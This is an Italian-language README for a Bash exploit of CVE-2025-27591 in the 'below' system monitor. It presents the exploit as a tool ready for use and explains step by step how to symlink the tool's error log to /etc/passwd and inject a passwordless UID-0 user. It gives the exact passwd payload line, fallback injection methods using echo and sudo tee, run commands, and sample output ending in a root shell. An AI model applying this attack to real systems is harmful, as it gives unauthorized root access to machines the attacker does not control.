CVE-2025-27591 Exploit - Attacco Symlink del Logger Below

Un exploit di escalation dei privilegi basato su Bash che mira allo strumento di monitoraggio delle prestazioni di sistema below. Questo exploit rinnovato sfrutta una vulnerabilità symlink nel meccanismo di logging per iniettare un utente root in /etc/passwd, ottenendo accesso root completo.

Crediti

Scoperto e segnalato da Matthias Gerstner @ SUSE - Avviso di Sicurezza

Dettagli della Vulnerabilità

• CVE: CVE-2025-27591
• Componente Affetto: /usr/bin/below (monitoraggio prestazioni sistema Facebook)
• Versioni Affette: versioni di below con directory di log scrivibili da tutti
• Tipo di Vulnerabilità: Attacco Symlink / Escalation dei Privilegi
• Vettore d'Attacco: /var/log/below/error_root.log → /etc/passwd
• Punteggio CVSS: Alto (Escalation dei Privilegi a Root)

Panoramica

Lo strumento di monitoraggio below registra gli errori in /var/log/below/error_root.log quando eseguito con privilegi elevati. Se la directory di log è scrivibile da tutti, un attaccante può:

1. Creare un collegamento simbolico da error_root.log a /etc/passwd
2. Attivare il comando below record per scrivere messaggi di errore nel symlink
3. Iniettare manualmente una voce utente malintenzionata con UID=0 (privilegi root)
4. Avviare una shell root utilizzando il nuovo utente creato

Questo exploit automatizza l'intero processo con meccanismi di fallback intelligenti per gestire varie configurazioni di sistema.

Diagramma di Flusso dell'Exploit

flowchart TD
    A[Start Exploit] --> B[Get Username from User]
    B --> C{Check /var/log/below<br/>World-Writable?}
    C -->|No| D[Exit: Not Vulnerable]
    C -->|Yes| E[Remove Existing error_root.log]
    E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
    F --> G{Symlink Created<br/>Successfully?}
    G -->|No| D
    G -->|Yes| H[Execute: sudo below record]
    H --> I[Wait 3 seconds for logging]
    I --> J[Kill below process]
    J --> K{Payload in<br/>/etc/passwd?}
    K -->|Yes| M[Success Path]
    K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
    L --> N{Manual Injection<br/>Success?}
    N -->|No| O[Try Fallback:<br/>sudo tee -a]
    N -->|Yes| M
    O --> P{Fallback<br/>Success?}
    P -->|No| D
    P -->|Yes| M
    M --> Q[Verify Payload in /etc/passwd]
    Q --> R[Disable Cleanup Trap]
    R --> S[Execute: su username]
    S --> T[Root Shell Obtained]

    style A fill:#e1f5ff
    style T fill:#90EE90
    style D fill:#ffcccb
    style M fill:#98fb98

Dettagli Tecnici

Fasi dello Sfruttamento

1. Fase di Pre-Controllo

   • Verificare che la directory /var/log/below esista
   • Controllare se la directory ha permessi scrivibili da tutti (o+w)
   • Testare la capacità di creazione di symlink

2. Fase di Configurazione

   • Rimuovere il file error_root.log esistente
   • Creare il collegamento simbolico: /var/log/below/error_root.log → /etc/passwd
   • Verificare che il symlink punti al target corretto

3. Fase di Iniezione (Metodo Primario)

   • Eseguire sudo below record in background
   • Lasciare il processo attivo per 3 secondi per attivare la registrazione degli errori
   • Terminare il processo per evitare la registrazione continua
   • Controllare se i messaggi di errore hanno corrotto /etc/passwd in modo utile

4. Fase di Iniezione (Metodi di Fallback)

   • Metodo 1: Aggiunta diretta tramite symlink (echo >> symlink)
   • Metodo 2: Utilizzo di sudo con tee (sudo tee -a)

5. Fase di Avvio della Shell

   • Verificare che l'utente malintenzionato esista in /etc/passwd
   • Disabilitare i trap di pulizia per impedirne la rimozione
   • Eseguire su <username> per ottenere una shell root

Struttura del Payload

La voce iniettata in /etc/passwd segue questo formato:

username::0:0:username:/root:/bin/bash

Scomposizione dei Campi:

• username: Nome utente fornito dall'utente (predefinito: "0xdtc")
• ::: Campo password vuoto (nessuna password richiesta)
• 0:0: UID=0, GID=0 (privilegi root)
• username: Campo GECOS (descrizione utente)
• /root: Home directory
• /bin/bash: Shell di login

Prerequisiti

• Sistema target che esegue il binario below vulnerabile
• La directory /var/log/below deve essere scrivibile da tutti
• L'utente deve avere accesso sudo per eseguire below record
• Ambiente Bash shell

Utilizzo

Esecuzione Base

# Rendi lo script eseguibile
chmod +x CVE-2025-27591

# Esegui l'exploit
./CVE-2025-27591

Prompt Interattivi

========================================
  CVE-2025-27591 Exploit (Bash)
========================================

[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser

Esempio di Output

0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
  CVE-2025-27591 Exploit (Bash)
========================================

[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc

[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable

[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter

root@kali:/tmp# whoami
root

Caratteristiche

Gestione Intelligente dei Blocchi

Lo script include molteplici meccanismi di fallback per gestire varie configurazioni di sistema:

1. Gestione File Esistenti

   • Rileva e rimuove automaticamente i file di log esistenti
   • Gestisce sia file regolari che symlink esistenti
   • Verifica il target del symlink prima di procedere

2. Metodi di Iniezione Multipli

   • Primario: Attivazione tramite logging errori di below record
   • Fallback 1: Aggiunta diretta al symlink
   • Fallback 2: Scrittura privilegiata usando sudo tee

3. Gestione dei Processi

   • Termina automaticamente i processi below in stallo
   • Previene l'esaurimento delle risorse
   • Gestisce la pulizia dei processi in caso di fallimento

4. Rilevamento di Esecuzioni Ripetute

   • Controlla se il payload esiste già in /etc/passwd
   • Salta lo sfruttamento se l'utente è già stato creato
   • Avvia direttamente la shell in caso di riesecuzione

Caratteristiche di Qualità del Codice

• Commenti Esaustivi: Ogni funzione e passaggio critico documentati
• Intestazioni di Sezione: Codice organizzato in sezioni logiche
• Gestione degli Errori: Controlli errori e feedback utente adeguati
• Uscita Pulita: Gestori trap per pulizia ordinata in caso di fallimento
• Dipendenze Minime: Bash puro con strumenti Unix standard

Struttura dei File

.
├── CVE-2025-27591           # Script principale dell'exploit
├── README.md           # Questa documentazione
└── /tmp/exploit_payload # File payload temporaneo (creato in runtime)

Verifica

Dopo lo sfruttamento riuscito, verificare l'accesso root:

# Controlla l'utente corrente
root@target:/tmp# whoami
root